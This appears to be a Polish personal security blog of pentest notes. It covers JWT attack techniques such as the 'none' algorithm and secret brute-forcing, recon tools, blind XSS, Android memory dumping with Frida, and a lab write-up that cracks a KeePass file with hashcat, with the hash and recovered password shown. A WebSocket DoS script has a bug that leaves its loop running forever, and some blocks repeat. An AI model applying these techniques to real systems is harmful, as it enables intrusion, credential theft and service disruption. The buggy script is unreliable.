https://vimeo.com/156745941
piątek, 19 października 2018
czwartek, 18 października 2018
JWT - JSON Web Tokens
Notatki z SHP
JTW - bezpieczna wymiana informacji wykorzystująca json pomiędzy dwoma apkami
Rozkowanie base64 (wiec nie zapewnia poufności)
Httparchive
GoogleBigquery i wyszukiwanie danych z httparchive (np. Tokenow jwt, authorization basic itp)
- Bruteforce hasla do JWT (np. Hashcatem)
- Zmiana algorytmu szyfrującego (np. Z HS256) JWT na none
- Uwaga na JWT.io jak wpiszemy alg none to nie pokaże wyników (trzeba samemu base64 codowac
3. Resign-vuln - szyfruje kluczem prywatnym RSA mój token, a publiczny klucz RSA wrzucam w headerze
JWT WYGLADA TAK: NAGLOWEK.DANE.PODPIS
sekurak.pl/jwt-ebook.pdf < opis JWT wraz z checlista ]
Rekonesans IT
Notatki z SHP
gotcha.pw - wyciek hasel (pobranie bazy bez gwiazdek? Tak)
https://www.zoomeye.org/ /shodan : (zoomeye: +django +debug.) (W shodan has_screenshot:yes)
crt.sh - %domena.pl (szuka subdomen)
builtwith.com/ -pokazuje z jakich technologi zbudowana jest infra,
zakładka relationship profile pokazuje kody trackujace i pokazać inne site które z niego korzystają :)
zakładka relationship profile pokazuje kody trackujace i pokazać inne site które z niego korzystają :)
hardenize.com - skaner bezpieczenstwa
android.fallible.co - szuka sekretnych danych w apce mobilnej
publicwww.com - wyszukiwarka kodow zrodlowych html,css,javascriptow - szukamy tutaj np. Malwarow itp, poszukac klucze api (wpisujac w wyszukiwarke apikey)
github.com/michenriksen/aquatone - szuka subdomen (szuka we wszystkim virustotal(trzeba dac api key, crt.sh webarchive, itp)
Virustotal.com - search: twitter.com (do szukania subdomen) / szukanie tez wirtualnych domen klikając na IP w wynikach wyszukiwania
archive.org - szukanie starych linków do aktualnych zasobow, jak juz jest nowa www a stary zasob moze zostal, szukanie tez podd omen
Blind XSS
Notatki z SHP
Prezentacja https://bentkowski.info/shp-gliwice
Excessy - narzędzie do XSS , używające websockets od Michała Bentkowskiego
XSS PROXY - https://github.com/securityMB/excessy
iframe=sanbox jako ochrona przed xss
- request get aby pobrać token csrf
- Potem post aby go użyć
środa, 25 kwietnia 2018
WebSocket DoS tester
Pyhton client - websocket denial of service tester
import websocket
import ssl
from websocket import create_connection
counter = 0
while counter <= 100:
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
ws.connect("wss://echo.websocket.org")
print("Sending 'Hello, World'...")
ws.send("Hello, World")
print("Sent")
print("'%s'" % counter)
print("Receiving...")
result = ws.recv()
print("Received '%s'" % result)
counter +1
import websocket
import ssl
from websocket import create_connection
counter = 0
while counter <= 100:
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
ws.connect("wss://echo.websocket.org")
print("Sending 'Hello, World'...")
ws.send("Hello, World")
print("Sent")
print("'%s'" % counter)
print("Receiving...")
result = ws.recv()
print("Received '%s'" % result)
counter +1
piątek, 13 kwietnia 2018
Android - frida - memory dump app
https://www.frida.re/docs/android/
https://github.com/Nightbringer21/fridump
/fridump# python fridump.py -U -s -o . --max-size 2097152 com.app-name.rc.nopin
http://pentestcorner.com/fridump-android-examples/
D:\Android\sdk\platform-tools>adb shell "su -c /data/local/tmp/frida-server &"
https://github.com/Nightbringer21/fridump
/fridump# python fridump.py -U -s -o . --max-size 2097152 com.app-name.rc.nopin
http://pentestcorner.com/fridump-android-examples/
D:\Android\sdk\platform-tools>adb shell "su -c /data/local/tmp/frida-server &"
How to install NDK with Android SDK Manager [windows]
- Close Android SDK Manager
- Start a Command Prompt as Administrator
cd"path to your installation of Android SDK Manager"\tools\binsdkmanager ndk-bundle- Accept the License Agreement
- Wait a long time. The installation is done without any progress indicator.
- When it finally reports
done, start Android SDK Manager - Look under Extras and there you'll find Ndk Bundle
https://stackoverflow.com/questions/41471000/how-to-install-ndk-with-android-sdk-manager
sobota, 16 września 2017
Pentestit Lab v11 - CLOUD token [writeup]
Na serwerze 192.168.10.1 w /var/tmp znajdujemy dump.pcap z pcapa nalezy wyciagnac hasło do owncloud na 192.168.10.3
z owncloud pobieramy my_store.kdbx
./keepass2john my_store.kdbx > my_store.hash2
my_store:$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c
usuwamy z pliku początek "my_store:"
$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c:reajel
PS E:\Tools\hashcat-3.6.0> .\hashcat64.exe -m 13400 -a 0 -w 3 ..\..\pentestit\my_store.hash2 ..\..\rockyou.txt --show
$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c:reajel
Session..........: hashcat
Status...........: Cracked
Hash.Type........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587...74170c
Time.Started.....: Sat Sep 16 16:53:59 2017 (29 mins, 47 secs)
Time.Estimated...: Sat Sep 16 17:23:46 2017 (0 secs)
Guess.Base.......: File (..\..\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 2621 H/s (146.45ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4685824/14343297 (32.67%)
Rejected.........: 0/4685824 (0.00%)
Restore.Point....: 4259840/14343297 (29.70%)
Candidates.#1....: ridebmxdd -> phred2525
HWMon.Dev.#1.....: Temp: 72c Fan: 33% Util:100% Core:1303MHz Mem:3004MHz Bus:16
Started: Sat Sep 16 16:53:54 2017
Stopped: Sat Sep 16 17:23:48 2017
PS E:\Tools\hashcat-3.6.0>
Hasło złamane.
Po zaimportowaniu pliku do keepass v2 uzyskamy dostęp do tokena: Sky_is_Over!
z owncloud pobieramy my_store.kdbx
./keepass2john my_store.kdbx > my_store.hash2
my_store:$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c
usuwamy z pliku początek "my_store:"
$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c:reajel
PS E:\Tools\hashcat-3.6.0> .\hashcat64.exe -m 13400 -a 0 -w 3 ..\..\pentestit\my_store.hash2 ..\..\rockyou.txt --show
$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c:reajel
Session..........: hashcat
Status...........: Cracked
Hash.Type........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587...74170c
Time.Started.....: Sat Sep 16 16:53:59 2017 (29 mins, 47 secs)
Time.Estimated...: Sat Sep 16 17:23:46 2017 (0 secs)
Guess.Base.......: File (..\..\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 2621 H/s (146.45ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4685824/14343297 (32.67%)
Rejected.........: 0/4685824 (0.00%)
Restore.Point....: 4259840/14343297 (29.70%)
Candidates.#1....: ridebmxdd -> phred2525
HWMon.Dev.#1.....: Temp: 72c Fan: 33% Util:100% Core:1303MHz Mem:3004MHz Bus:16
Started: Sat Sep 16 16:53:54 2017
Stopped: Sat Sep 16 17:23:48 2017
PS E:\Tools\hashcat-3.6.0>
Hasło złamane.
Po zaimportowaniu pliku do keepass v2 uzyskamy dostęp do tokena: Sky_is_Over!
Subskrybuj:
Posty (Atom)